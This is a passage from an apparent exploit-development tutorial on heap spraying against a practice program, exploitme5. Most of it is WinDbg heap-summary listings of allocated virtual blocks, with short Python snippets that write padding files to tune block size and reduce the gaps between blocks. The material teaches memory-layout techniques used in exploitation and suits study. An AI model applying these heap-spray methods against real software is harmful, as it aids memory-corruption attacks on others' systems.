Virtual block: 047a0000 - 047a0000 (size 00000000)
Virtual block: 048b0000 - 048b0000 (size 00000000)
Virtual block: 049c0000 - 049c0000 (size 00000000)
Virtual block: 04ad0000 - 04ad0000 (size 00000000)
Virtual block: 04be0000 - 04be0000 (size 00000000)
Virtual block: 04cf0000 - 04cf0000 (size 00000000)
Virtual block: 04e00000 - 04e00000 (size 00000000)
Virtual block: 04f10000 - 04f10000 (size 00000000)
Virtual block: 05020000 - 05020000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05240000 - 05240000 (size 00000000)
Virtual block: 05350000 - 05350000 (size 00000000)
Virtual block: 05460000 - 05460000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05680000 - 05680000 (size 00000000)
Virtual block: 05790000 - 05790000 (size 00000000)
Virtual block: 058a0000 - 058a0000 (size 00000000)
Virtual block: 059b0000 - 059b0000 (size 00000000)
Virtual block: 05ac0000 - 05ac0000 (size 00000000)
Virtual block: 05bd0000 - 05bd0000 (size 00000000)
Virtual block: 05ce0000 - 05ce0000 (size 00000000)
Virtual block: 05df0000 - 05df0000 (size 00000000)
Virtual block: 05f00000 - 05f00000 (size 00000000)
Virtual block: 06010000 - 06010000 (size 00000000)
Virtual block: 06120000 - 06120000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06340000 - 06340000 (size 00000000)
Virtual block: 06450000 - 06450000 (size 00000000)
Virtual block: 06560000 - 06560000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06780000 - 06780000 (size 00000000)
Virtual block: 06890000 - 06890000 (size 00000000)
Virtual block: 069a0000 - 069a0000 (size 00000000)
Virtual block: 06ab0000 - 06ab0000 (size 00000000)
Virtual block: 06bc0000 - 06bc0000 (size 00000000)
Virtual block: 06cd0000 - 06cd0000 (size 00000000)
Virtual block: 06de0000 - 06de0000 (size 00000000)
Virtual block: 06ef0000 - 06ef0000 (size 00000000)
Virtual block: 07000000 - 07000000 (size 00000000)
Virtual block: 07110000 - 07110000 (size 00000000)
Virtual block: 07220000 - 07220000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
Virtual block: 07440000 - 07440000 (size 00000000)
Virtual block: 07550000 - 07550000 (size 00000000)
Virtual block: 07660000 - 07660000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07880000 - 07880000 (size 00000000)
Virtual block: 07990000 - 07990000 (size 00000000)
Virtual block: 07aa0000 - 07aa0000 (size 00000000)
Virtual block: 07bb0000 - 07bb0000 (size 00000000)
Virtual block: 07cc0000 - 07cc0000 (size 00000000)
Virtual block: 07dd0000 - 07dd0000 (size 00000000)
Virtual block: 07ee0000 - 07ee0000 (size 00000000)
Virtual block: 07ff0000 - 07ff0000 (size 00000000)
Virtual block: 08100000 - 08100000 (size 00000000)
Virtual block: 08210000 - 08210000 (size 00000000)
Virtual block: 08320000 - 08320000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08540000 - 08540000 (size 00000000)
Virtual block: 08650000 - 08650000 (size 00000000)
Virtual block: 08760000 - 08760000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08980000 - 08980000 (size 00000000)
Virtual block: 08a90000 - 08a90000 (size 00000000)
Virtual block: 08ba0000 - 08ba0000 (size 00000000)
Virtual block: 08cb0000 - 08cb0000 (size 00000000)
Virtual block: 08dc0000 - 08dc0000 (size 00000000)
Virtual block: 08ed0000 - 08ed0000 (size 00000000)
Virtual block: 08fe0000 - 08fe0000 (size 00000000)
Virtual block: 090f0000 - 090f0000 (size 00000000)
Virtual block: 09200000 - 09200000 (size 00000000)
Virtual block: 09310000 - 09310000 (size 00000000)
Virtual block: 09420000 - 09420000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09640000 - 09640000 (size 00000000)
Virtual block: 09750000 - 09750000 (size 00000000)
Virtual block: 09860000 - 09860000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a80000 - 09a80000 (size 00000000)
Virtual block: 09b90000 - 09b90000 (size 00000000)
Virtual block: 09ca0000 - 09ca0000 (size 00000000)
Virtual block: 09db0000 - 09db0000 (size 00000000)
Virtual block: 09ec0000 - 09ec0000 (size 00000000)
Virtual block: 09fd0000 - 09fd0000 (size 00000000)
Virtual block: 0a0e0000 - 0a0e0000 (size 00000000)
Virtual block: 0a1f0000 - 0a1f0000 (size 00000000)
Virtual block: 0a300000 - 0a300000 (size 00000000)
Virtual block: 0a410000 - 0a410000 (size 00000000)
Virtual block: 0a520000 - 0a520000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a740000 - 0a740000 (size 00000000)
Virtual block: 0a850000 - 0a850000 (size 00000000)
Virtual block: 0a960000 - 0a960000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab80000 - 0ab80000 (size 00000000)
Virtual block: 0ac90000 - 0ac90000 (size 00000000)
Virtual block: 0ada0000 - 0ada0000 (size 00000000)
Virtual block: 0aeb0000 - 0aeb0000 (size 00000000)
Virtual block: 0afc0000 - 0afc0000 (size 00000000)
Virtual block: 0b0d0000 - 0b0d0000 (size 00000000)
Virtual block: 0b1e0000 - 0b1e0000 (size 00000000)
Virtual block: 0b2f0000 - 0b2f0000 (size 00000000)
Virtual block: 0b400000 - 0b400000 (size 00000000)
Virtual block: 0b510000 - 0b510000 (size 00000000)
Virtual block: 0b620000 - 0b620000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b840000 - 0b840000 (size 00000000)
Virtual block: 0b950000 - 0b950000 (size 00000000)
Virtual block: 0ba60000 - 0ba60000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
Virtual block: 0bc80000 - 0bc80000 (size 00000000)
Virtual block: 0bd90000 - 0bd90000 (size 00000000)
Virtual block: 0bea0000 - 0bea0000 (size 00000000)
Virtual block: 0bfb0000 - 0bfb0000 (size 00000000)
Virtual block: 0c0c0000 - 0c0c0000 (size 00000000)
Virtual block: 0c1d0000 - 0c1d0000 (size 00000000)
Virtual block: 0c2e0000 - 0c2e0000 (size 00000000)
Virtual block: 0c3f0000 - 0c3f0000 (size 00000000)
Virtual block: 0c500000 - 0c500000 (size 00000000)
Virtual block: 0c610000 - 0c610000 (size 00000000)
Virtual block: 0c720000 - 0c720000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c940000 - 0c940000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb60000 - 0cb60000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd80000 - 0cd80000 (size 00000000)
Virtual block: 0ce90000 - 0ce90000 (size 00000000)
Virtual block: 0cfa0000 - 0cfa0000 (size 00000000)
Virtual block: 0d0b0000 - 0d0b0000 (size 00000000)
Virtual block: 0d1c0000 - 0d1c0000 (size 00000000)
Virtual block: 0d2d0000 - 0d2d0000 (size 00000000)
Virtual block: 0d3e0000 - 0d3e0000 (size 00000000)
Virtual block: 0d4f0000 - 0d4f0000 (size 00000000)
Virtual block: 0d600000 - 0d600000 (size 00000000)
Virtual block: 0d710000 - 0d710000 (size 00000000)
Virtual block: 0d820000 - 0d820000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da40000 - 0da40000 (size 00000000)
Virtual block: 0db50000 - 0db50000 (size 00000000)
Virtual block: 0dc60000 - 0dc60000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de80000 - 0de80000 (size 00000000)
Virtual block: 0df90000 - 0df90000 (size 00000000)
Virtual block: 0e0a0000 - 0e0a0000 (size 00000000)
Virtual block: 0e1b0000 - 0e1b0000 (size 00000000)
Virtual block: 0e2c0000 - 0e2c0000 (size 00000000)
Virtual block: 0e3d0000 - 0e3d0000 (size 00000000)
Virtual block: 0e4e0000 - 0e4e0000 (size 00000000)
Virtual block: 0e5f0000 - 0e5f0000 (size 00000000)
Virtual block: 0e700000 - 0e700000 (size 00000000)
Virtual block: 0e810000 - 0e810000 (size 00000000)
Virtual block: 0e920000 - 0e920000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
Virtual block: 0eb40000 - 0eb40000 (size 00000000)
Virtual block: 0ec50000 - 0ec50000 (size 00000000)
Virtual block: 0ed60000 - 0ed60000 (size 00000000)
Virtual block: 0ee70000 - 0ee70000 (size 00000000)
Virtual block: 0ef80000 - 0ef80000 (size 00000000)
Virtual block: 0f090000 - 0f090000 (size 00000000)
Virtual block: 0f1a0000 - 0f1a0000 (size 00000000)
Virtual block: 0f2b0000 - 0f2b0000 (size 00000000)
Virtual block: 0f3c0000 - 0f3c0000 (size 00000000)
Virtual block: 0f4d0000 - 0f4d0000 (size 00000000)
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)
00140000 40000062    1024    188   1024     93     9     1  201      0      
00650000 40001062      64     12     64      2     2     1    0      0      
01c80000 40001062    1088    160   1088     68     5     2    0      0      
01e10000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

By comparing the addresses, you can verify that the virtual blocks listed by !heap are the same blocks we allocated in exploitme5 and listed by listBlocks(). There’s a difference though:

block 200: address = 0x0f5e0020; size = 1048576         <---- listBlocks()
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)      <---- !heap

As we can see, there are 0x20 bytes of metadata (header) so the block starts at 0f5e0000, but the usable portion starts at 0f5e0020.

!heap doesn’t show us the real size, but we know that each block is 1 MB, i.e. 0x100000. Except for the first two blocks, the distance between two adjacent blocks is 0x110000, so there are almost 0x10000 bytes = 64 KB of junk data between adjacent blocks. We’d like to reduce the amount of junk data as much as possible. Let’s try to reduce the size of our blocks. Here’s the updated script:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*(0x100000-0x20))

After creating buf.dat, we restart exploitme5.exe in WinDbg, allocate the blocks and we get the following:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x6c0192f2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 020d0000 - 020d0000 (size 00000000)
Virtual block: 022e0000 - 022e0000 (size 00000000)
Virtual block: 023f0000 - 023f0000 (size 00000000)
Virtual block: 02500000 - 02500000 (size 00000000)
Virtual block: 02610000 - 02610000 (size 00000000)
Virtual block: 02720000 - 02720000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02940000 - 02940000 (size 00000000)
Virtual block: 02a50000 - 02a50000 (size 00000000)
Virtual block: 02b60000 - 02b60000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d80000 - 02d80000 (size 00000000)
Virtual block: 02e90000 - 02e90000 (size 00000000)
Virtual block: 02fa0000 - 02fa0000 (size 00000000)
Virtual block: 030b0000 - 030b0000 (size 00000000)
Virtual block: 031c0000 - 031c0000 (size 00000000)
Virtual block: 032d0000 - 032d0000 (size 00000000)
Virtual block: 033e0000 - 033e0000 (size 00000000)
Virtual block: 034f0000 - 034f0000 (size 00000000)
Virtual block: 03600000 - 03600000 (size 00000000)
Virtual block: 03710000 - 03710000 (size 00000000)
Virtual block: 03820000 - 03820000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a40000 - 03a40000 (size 00000000)
Virtual block: 03b50000 - 03b50000 (size 00000000)
Virtual block: 03c60000 - 03c60000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e80000 - 03e80000 (size 00000000)
Virtual block: 03f90000 - 03f90000 (size 00000000)
Virtual block: 040a0000 - 040a0000 (size 00000000)
Virtual block: 041b0000 - 041b0000 (size 00000000)
Virtual block: 042c0000 - 042c0000 (size 00000000)
Virtual block: 043d0000 - 043d0000 (size 00000000)
Virtual block: 044e0000 - 044e0000 (size 00000000)
Virtual block: 045f0000 - 045f0000 (size 00000000)
Virtual block: 04700000 - 04700000 (size 00000000)
Virtual block: 04810000 - 04810000 (size 00000000)
Virtual block: 04920000 - 04920000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b40000 - 04b40000 (size 00000000)
Virtual block: 04c50000 - 04c50000 (size 00000000)
Virtual block: 04d60000 - 04d60000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f80000 - 04f80000 (size 00000000)
Virtual block: 05090000 - 05090000 (size 00000000)
Virtual block: 051a0000 - 051a0000 (size 00000000)
Virtual block: 052b0000 - 052b0000 (size 00000000)
Virtual block: 053c0000 - 053c0000 (size 00000000)
Virtual block: 054d0000 - 054d0000 (size 00000000)
Virtual block: 055e0000 - 055e0000 (size 00000000)
Virtual block: 056f0000 - 056f0000 (size 00000000)
Virtual block: 05800000 - 05800000 (size 00000000)
Virtual block: 05910000 - 05910000 (size 00000000)
Virtual block: 05a20000 - 05a20000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c40000 - 05c40000 (size 00000000)
Virtual block: 05d50000 - 05d50000 (size 00000000)
Virtual block: 05e60000 - 05e60000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06080000 - 06080000 (size 00000000)
Virtual block: 06190000 - 06190000 (size 00000000)
Virtual block: 062a0000 - 062a0000 (size 00000000)
Virtual block: 063b0000 - 063b0000 (size 00000000)
Virtual block: 064c0000 - 064c0000 (size 00000000)
Virtual block: 065d0000 - 065d0000 (size 00000000)
Virtual block: 066e0000 - 066e0000 (size 00000000)
Virtual block: 067f0000 - 067f0000 (size 00000000)
Virtual block: 06900000 - 06900000 (size 00000000)
Virtual block: 06a10000 - 06a10000 (size 00000000)
Virtual block: 06b20000 - 06b20000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d40000 - 06d40000 (size 00000000)
Virtual block: 06e50000 - 06e50000 (size 00000000)
Virtual block: 06f60000 - 06f60000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07180000 - 07180000 (size 00000000)
Virtual block: 07290000 - 07290000 (size 00000000)
Virtual block: 073a0000 - 073a0000 (size 00000000)
Virtual block: 074b0000 - 074b0000 (size 00000000)
Virtual block: 075c0000 - 075c0000 (size 00000000)
Virtual block: 076d0000 - 076d0000 (size 00000000)
Virtual block: 077e0000 - 077e0000 (size 00000000)
Virtual block: 078f0000 - 078f0000 (size 00000000)
Virtual block: 07a00000 - 07a00000 (size 00000000)
Virtual block: 07b10000 - 07b10000 (size 00000000)
Virtual block: 07c20000 - 07c20000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e40000 - 07e40000 (size 00000000)
Virtual block: 07f50000 - 07f50000 (size 00000000)
Virtual block: 08060000 - 08060000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08280000 - 08280000 (size 00000000)
Virtual block: 08390000 - 08390000 (size 00000000)
Virtual block: 084a0000 - 084a0000 (size 00000000)
Virtual block: 085b0000 - 085b0000 (size 00000000)
Virtual block: 086c0000 - 086c0000 (size 00000000)
Virtual block: 087d0000 - 087d0000 (size 00000000)
Virtual block: 088e0000 - 088e0000 (size 00000000)
Virtual block: 089f0000 - 089f0000 (size 00000000)
Virtual block: 08b00000 - 08b00000 (size 00000000)
Virtual block: 08c10000 - 08c10000 (size 00000000)
Virtual block: 08d20000 - 08d20000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f40000 - 08f40000 (size 00000000)
Virtual block: 09050000 - 09050000 (size 00000000)
Virtual block: 09160000 - 09160000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09380000 - 09380000 (size 00000000)
Virtual block: 09490000 - 09490000 (size 00000000)
Virtual block: 095a0000 - 095a0000 (size 00000000)
Virtual block: 096b0000 - 096b0000 (size 00000000)
Virtual block: 097c0000 - 097c0000 (size 00000000)
Virtual block: 098d0000 - 098d0000 (size 00000000)
Virtual block: 099e0000 - 099e0000 (size 00000000)
Virtual block: 09af0000 - 09af0000 (size 00000000)
Virtual block: 09c00000 - 09c00000 (size 00000000)
Virtual block: 09d10000 - 09d10000 (size 00000000)
Virtual block: 09e20000 - 09e20000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a040000 - 0a040000 (size 00000000)
Virtual block: 0a150000 - 0a150000 (size 00000000)
Virtual block: 0a260000 - 0a260000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a480000 - 0a480000 (size 00000000)
Virtual block: 0a590000 - 0a590000 (size 00000000)
Virtual block: 0a6a0000 - 0a6a0000 (size 00000000)
Virtual block: 0a7b0000 - 0a7b0000 (size 00000000)
Virtual block: 0a8c0000 - 0a8c0000 (size 00000000)
Virtual block: 0a9d0000 - 0a9d0000 (size 00000000)
Virtual block: 0aae0000 - 0aae0000 (size 00000000)
Virtual block: 0abf0000 - 0abf0000 (size 00000000)
Virtual block: 0ad00000 - 0ad00000 (size 00000000)
Virtual block: 0ae10000 - 0ae10000 (size 00000000)
Virtual block: 0af20000 - 0af20000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b140000 - 0b140000 (size 00000000)
Virtual block: 0b250000 - 0b250000 (size 00000000)
Virtual block: 0b360000 - 0b360000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b580000 - 0b580000 (size 00000000)
Virtual block: 0b690000 - 0b690000 (size 00000000)
Virtual block: 0b7a0000 - 0b7a0000 (size 00000000)
Virtual block: 0b8b0000 - 0b8b0000 (size 00000000)
Virtual block: 0b9c0000 - 0b9c0000 (size 00000000)
Virtual block: 0bad0000 - 0bad0000 (size 00000000)
Virtual block: 0bbe0000 - 0bbe0000 (size 00000000)
Virtual block: 0bcf0000 - 0bcf0000 (size 00000000)
Virtual block: 0be00000 - 0be00000 (size 00000000)
Virtual block: 0bf10000 - 0bf10000 (size 00000000)
Virtual block: 0c020000 - 0c020000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c240000 - 0c240000 (size 00000000)
Virtual block: 0c350000 - 0c350000 (size 00000000)
Virtual block: 0c460000 - 0c460000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c680000 - 0c680000 (size 00000000)
Virtual block: 0c790000 - 0c790000 (size 00000000)
Virtual block: 0c8a0000 - 0c8a0000 (size 00000000)
Virtual block: 0c9b0000 - 0c9b0000 (size 00000000)
Virtual block: 0cac0000 - 0cac0000 (size 00000000)
Virtual block: 0cbd0000 - 0cbd0000 (size 00000000)
Virtual block: 0cce0000 - 0cce0000 (size 00000000)
Virtual block: 0cdf0000 - 0cdf0000 (size 00000000)
Virtual block: 0cf00000 - 0cf00000 (size 00000000)
Virtual block: 0d010000 - 0d010000 (size 00000000)
Virtual block: 0d120000 - 0d120000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d340000 - 0d340000 (size 00000000)
Virtual block: 0d450000 - 0d450000 (size 00000000)
Virtual block: 0d560000 - 0d560000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d780000 - 0d780000 (size 00000000)
Virtual block: 0d890000 - 0d890000 (size 00000000)
Virtual block: 0d9a0000 - 0d9a0000 (size 00000000)
Virtual block: 0dab0000 - 0dab0000 (size 00000000)
Virtual block: 0dbc0000 - 0dbc0000 (size 00000000)
Virtual block: 0dcd0000 - 0dcd0000 (size 00000000)
Virtual block: 0dde0000 - 0dde0000 (size 00000000)
Virtual block: 0def0000 - 0def0000 (size 00000000)
Virtual block: 0e000000 - 0e000000 (size 00000000)
Virtual block: 0e110000 - 0e110000 (size 00000000)
Virtual block: 0e220000 - 0e220000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e440000 - 0e440000 (size 00000000)
Virtual block: 0e550000 - 0e550000 (size 00000000)
Virtual block: 0e660000 - 0e660000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e880000 - 0e880000 (size 00000000)
Virtual block: 0e990000 - 0e990000 (size 00000000)
Virtual block: 0eaa0000 - 0eaa0000 (size 00000000)
Virtual block: 0ebb0000 - 0ebb0000 (size 00000000)
Virtual block: 0ecc0000 - 0ecc0000 (size 00000000)
Virtual block: 0edd0000 - 0edd0000 (size 00000000)
Virtual block: 0eee0000 - 0eee0000 (size 00000000)
Virtual block: 0eff0000 - 0eff0000 (size 00000000)
Virtual block: 0f100000 - 0f100000 (size 00000000)
Virtual block: 0f210000 - 0f210000 (size 00000000)
Virtual block: 0f320000 - 0f320000 (size 00000000)
Virtual block: 0f430000 - 0f430000 (size 00000000)
Virtual block: 0f540000 - 0f540000 (size 00000000)
Virtual block: 0f650000 - 0f650000 (size 00000000)
00700000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
020c0000 40001062    1088    160   1088     68     5     2    0      0      
022a0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Nothing changed! Let’s try to reduce the size of our blocks even more:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*(0x100000-0x30))

In WinDbg:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x4863b9c2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 00c60000 - 00c60000 (size 00000000)
Virtual block: 00e60000 - 00e60000 (size 00000000)
Virtual block: 00f60000 - 00f60000 (size 00000000)
Virtual block: 01060000 - 01060000 (size 00000000)
Virtual block: 01160000 - 01160000 (size 00000000)
Virtual block: 02730000 - 02730000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02930000 - 02930000 (size 00000000)
Virtual block: 02a30000 - 02a30000 (size 00000000)
Virtual block: 02b30000 - 02b30000 (size 00000000)
Virtual block: 02c30000 - 02c30000 (size 00000000)
Virtual block: 02d30000 - 02d30000 (size 00000000)
Virtual block: 02e30000 - 02e30000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03030000 - 03030000 (size 00000000)
Virtual block: 03130000 - 03130000 (size 00000000)
Virtual block: 03230000 - 03230000 (size 00000000)
Virtual block: 03330000 - 03330000 (size 00000000)
Virtual block: 03430000 - 03430000 (size 00000000)
Virtual block: 03530000 - 03530000 (size 00000000)
Virtual block: 03630000 - 03630000 (size 00000000)
Virtual block: 03730000 - 03730000 (size 00000000)
Virtual block: 03830000 - 03830000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a30000 - 03a30000 (size 00000000)
Virtual block: 03b30000 - 03b30000 (size 00000000)
Virtual block: 03c30000 - 03c30000 (size 00000000)
Virtual block: 03d30000 - 03d30000 (size 00000000)
Virtual block: 03e30000 - 03e30000 (size 00000000)
Virtual block: 03f30000 - 03f30000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04130000 - 04130000 (size 00000000)
Virtual block: 04230000 - 04230000 (size 00000000)
Virtual block: 04330000 - 04330000 (size 00000000)
Virtual block: 04430000 - 04430000 (size 00000000)
Virtual block: 04530000 - 04530000 (size 00000000)
Virtual block: 04630000 - 04630000 (size 00000000)
Virtual block: 04730000 - 04730000 (size 00000000)
Virtual block: 04830000 - 04830000 (size 00000000)
Virtual block: 04930000 - 04930000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b30000 - 04b30000 (size 00000000)
Virtual block: 04c30000 - 04c30000 (size 00000000)
Virtual block: 04d30000 - 04d30000 (size 00000000)
Virtual block: 04e30000 - 04e30000 (size 00000000)
Virtual block: 04f30000 - 04f30000 (size 00000000)
Virtual block: 05030000 - 05030000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05230000 - 05230000 (size 00000000)
Virtual block: 05330000 - 05330000 (size 00000000)
Virtual block: 05430000 - 05430000 (size 00000000)
Virtual block: 05530000 - 05530000 (size 00000000)
Virtual block: 05630000 - 05630000 (size 00000000)
Virtual block: 05730000 - 05730000 (size 00000000)
Virtual block: 05830000 - 05830000 (size 00000000)
Virtual block: 05930000 - 05930000 (size 00000000)
Virtual block: 05a30000 - 05a30000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c30000 - 05c30000 (size 00000000)
Virtual block: 05d30000 - 05d30000 (size 00000000)
Virtual block: 05e30000 - 05e30000 (size 00000000)
Virtual block: 05f30000 - 05f30000 (size 00000000)
Virtual block: 06030000 - 06030000 (size 00000000)
Virtual block: 06130000 - 06130000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06330000 - 06330000 (size 00000000)
Virtual block: 06430000 - 06430000 (size 00000000)
Virtual block: 06530000 - 06530000 (size 00000000)
Virtual block: 06630000 - 06630000 (size 00000000)
Virtual block: 06730000 - 06730000 (size 00000000)
Virtual block: 06830000 - 06830000 (size 00000000)
Virtual block: 06930000 - 06930000 (size 00000000)
Virtual block: 06a30000 - 06a30000 (size 00000000)
Virtual block: 06b30000 - 06b30000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d30000 - 06d30000 (size 00000000)
Virtual block: 06e30000 - 06e30000 (size 00000000)
Virtual block: 06f30000 - 06f30000 (size 00000000)
Virtual block: 07030000 - 07030000 (size 00000000)
Virtual block: 07130000 - 07130000 (size 00000000)
Virtual block: 07230000 - 07230000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
Virtual block: 07430000 - 07430000 (size 00000000)
Virtual block: 07530000 - 07530000 (size 00000000)
Virtual block: 07630000 - 07630000 (size 00000000)
Virtual block: 07730000 - 07730000 (size 00000000)
Virtual block: 07830000 - 07830000 (size 00000000)
Virtual block: 07930000 - 07930000 (size 00000000)
Virtual block: 07a30000 - 07a30000 (size 00000000)
Virtual block: 07b30000 - 07b30000 (size 00000000)
Virtual block: 07c30000 - 07c30000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e30000 - 07e30000 (size 00000000)
Virtual block: 07f30000 - 07f30000 (size 00000000)
Virtual block: 08030000 - 08030000 (size 00000000)
Virtual block: 08130000 - 08130000 (size 00000000)
Virtual block: 08230000 - 08230000 (size 00000000)
Virtual block: 08330000 - 08330000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08530000 - 08530000 (size 00000000)
Virtual block: 08630000 - 08630000 (size 00000000)
Virtual block: 08730000 - 08730000 (size 00000000)
Virtual block: 08830000 - 08830000 (size 00000000)
Virtual block: 08930000 - 08930000 (size 00000000)
Virtual block: 08a30000 - 08a30000 (size 00000000)
Virtual block: 08b30000 - 08b30000 (size 00000000)
Virtual block: 08c30000 - 08c30000 (size 00000000)
Virtual block: 08d30000 - 08d30000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f30000 - 08f30000 (size 00000000)
Virtual block: 09030000 - 09030000 (size 00000000)
Virtual block: 09130000 - 09130000 (size 00000000)
Virtual block: 09230000 - 09230000 (size 00000000)
Virtual block: 09330000 - 09330000 (size 00000000)
Virtual block: 09430000 - 09430000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09630000 - 09630000 (size 00000000)
Virtual block: 09730000 - 09730000 (size 00000000)
Virtual block: 09830000 - 09830000 (size 00000000)
Virtual block: 09930000 - 09930000 (size 00000000)
Virtual block: 09a30000 - 09a30000 (size 00000000)
Virtual block: 09b30000 - 09b30000 (size 00000000)
Virtual block: 09c30000 - 09c30000 (size 00000000)
Virtual block: 09d30000 - 09d30000 (size 00000000)
Virtual block: 09e30000 - 09e30000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a030000 - 0a030000 (size 00000000)
Virtual block: 0a130000 - 0a130000 (size 00000000)
Virtual block: 0a230000 - 0a230000 (size 00000000)
Virtual block: 0a330000 - 0a330000 (size 00000000)
Virtual block: 0a430000 - 0a430000 (size 00000000)
Virtual block: 0a530000 - 0a530000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a730000 - 0a730000 (size 00000000)
Virtual block: 0a830000 - 0a830000 (size 00000000)
Virtual block: 0a930000 - 0a930000 (size 00000000)
Virtual block: 0aa30000 - 0aa30000 (size 00000000)
Virtual block: 0ab30000 - 0ab30000 (size 00000000)
Virtual block: 0ac30000 - 0ac30000 (size 00000000)
Virtual block: 0ad30000 - 0ad30000 (size 00000000)
Virtual block: 0ae30000 - 0ae30000 (size 00000000)
Virtual block: 0af30000 - 0af30000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b130000 - 0b130000 (size 00000000)
Virtual block: 0b230000 - 0b230000 (size 00000000)
Virtual block: 0b330000 - 0b330000 (size 00000000)
Virtual block: 0b430000 - 0b430000 (size 00000000)
Virtual block: 0b530000 - 0b530000 (size 00000000)
